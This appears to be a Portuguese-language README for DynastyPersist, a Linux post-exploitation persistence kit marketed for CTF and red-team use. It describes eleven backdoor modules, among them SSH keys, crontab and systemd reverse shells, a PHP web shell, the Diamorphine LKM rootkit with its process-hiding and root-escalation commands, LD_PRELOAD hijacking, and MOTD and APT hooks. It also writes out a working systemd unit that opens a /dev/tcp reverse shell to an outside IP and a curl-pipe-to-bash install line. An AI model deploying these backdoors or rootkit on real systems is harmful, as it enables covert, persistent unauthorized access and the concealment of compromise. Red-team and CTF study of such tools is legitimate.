
Kit de persistência para Linux com 11 módulos para backdoors de chave SSH, cronjobs, serviços systemd, rootkits LKM e escalonamento de privilégio LD_PRELOAD. Projetado para competições CTF e operações de equipe vermelha.

| Recursos | Descrição |
|---|---|
| Geração de Chaves SSH | Gera automaticamente chaves SSH para acesso oculto. |
| Persistência de Cronjob | Configura cronjobs para persistência programada. |
| Usuário Personalizado com Root | Cria um usuário personalizado com privilégios de root. |
| Persistência por RCE | Alcança persistência através de execução remota de código |
| LKM/Rootkit | Demonstra persistência de rootkit baseada em Módulo de Kernel Linux (LKM). |
| Persistência no Bashrc | Modifica arquivos de inicialização do shell específicos do usuário para persistência (aliases / shells reversos). |
| Serviço Systemd para Root | Configura um serviço systemd para alcançar persistência de root. |
| Configuração de Escalonamento de Privilégio LD_PRELOAD | Configura LD_PRELOAD para escalonamento de privilégios. |
| Backdoor na Mensagem do Dia / Cabeçalho | Coloca backdoor na exibição de mensagens do sistema para acesso oculto. |
| Modificar um Serviço Systemd Existente | Manipula um serviço systemd existente para persistência. |
| Backdoor no Comando APT | Coloca backdoor no comando apt para abrir um shell. |
Obtenha acesso a um servidor usando a geração de chaves ssh. Este módulo cria uma chave id_rsa para cada usuário, que pode ser usada para acesso reverso. Após executar este módulo, o atacante pode se conectar ao servidor via ssh.
Isso pode ser feito manualmente usando o comando ssh-keygen. No entanto, o módulo cria uma chave privada para cada usuário em pouco tempo.
root@kali ~ ssh -i id_rsa [email protected]
1Cronjobs no Linux são tarefas agendadas que são executadas automaticamente em intervalos especificados.
Um dos módulos mais eficientes, que envolve shells reversos. Este módulo escreve diretamente comandos de shell reverso no /etc/crontab, que abrirá um shell na porta em que você está ouvindo.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3Este módulo vem com um script php que está hospedado no diretório raiz da web. O script está localizado em /var/www/html/dynasty_rce/rce.php. Além disso, o prefixo dynasty_rce pode ser ocultado se o módulo LKM for executado antes.
Visitar victim_ip:port/dynasty_rce/rce.php dará a você o poder de executar comandos dentro do shell.
Número do Módulo: 4
Um método avançado de persistência, que implanta um rootkit no kernel do servidor. O programa foca em um rootkit LKM de código aberto chamado Diamorphine. O módulo está em /var/tmp/.memory como um local temporário. Este diretório é deletado após a configuração do módulo.
O bloco de código abaixo mostra os usos deste módulo.
victim@ubuntu ~ kill -64 0 # Promtes to root user.
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
5find ou cat.root@kali ~ nc -nvlp 9999
6Um módulo que cria um serviço personalizado no systemd para acesso reverso.
Um exemplo:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
O exemplo acima será criado como um serviço. Este método é eficiente e durável.
Número do Módulo: 7
LD_PRELOAD é uma variável de ambiente no Linux que permite aos usuários pré-carregar uma biblioteca compartilhada antes de outras bibliotecas. O escalonamento de privilégio usando LD_PRELOAD envolve carregar uma biblioteca maliciosa para interceptar e modificar chamadas de sistema, potencialmente ganhando privilégios elevados. O módulo coloca backdoor em comandos como find e wget.
Número do Módulo: 8
A "Mensagem do Dia" (MOTD) no Linux é um texto personalizável exibido aos usuários no login, fornecendo informações ou atualizações sobre o sistema. Geralmente é armazenada no arquivo /etc/motd e pode ser modificada por administradores do sistema.
Este módulo escreve um shell em /etc/update-motd.d/00-header. Isso é normalmente acionado quando um usuário faz login.
Número do Módulo: 9
Similar ao módulo 7, este modifica um serviço existente para acesso reverso.
Simplesmente, ele reescreve o ExecStartPre no serviço para um comando de shell reverso.
Número do Módulo: 10
"APT" significa Advanced Package Tool, e é comumente usado em sistemas baseados em Debian, como Ubuntu. O arquivo será aqui: /etc/apt/apt.conf.d/42backdoor
Coloca backdoor no comando apt, sempre que apt é executado, ele abrirá um shell.
Número do Módulo: 11
Atualmente, existem 2 modos disponíveis na atualização mais recente (1.4).
Os modos são console e ctf, projetados para funcionar com um comportamento específico.
Em comparação, o modo console vem com mais recursos e estabilidade do que o modo ctf.
O modo console inicia a ferramenta na configuração usual, com todos os recursos. Esses recursos serão executados localmente no host local onde o script está sendo executado. Projetado para persistência em operações em tempo real.
O prefixo use seguido pelo número do módulo será usado para executar qualquer módulo selecionado. Exemplo: use 1
Além disso, a interface foi atualizada; os módulos/payloads agora estão visíveis quando você digita show payloads.
Por último, o menu de ajuda/opções também foi modificado; digite show options para visualizá-lo.
O modo ctf é um recurso extra para fazer login em um servidor comprometido via SSH e obter persistência. Este complemento ajudará muito em KoTH ou Battlegrounds. Além disso, economizará muito tempo gasto na configuração da persistência.
Executa a maioria das funções do console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Via Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Via Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash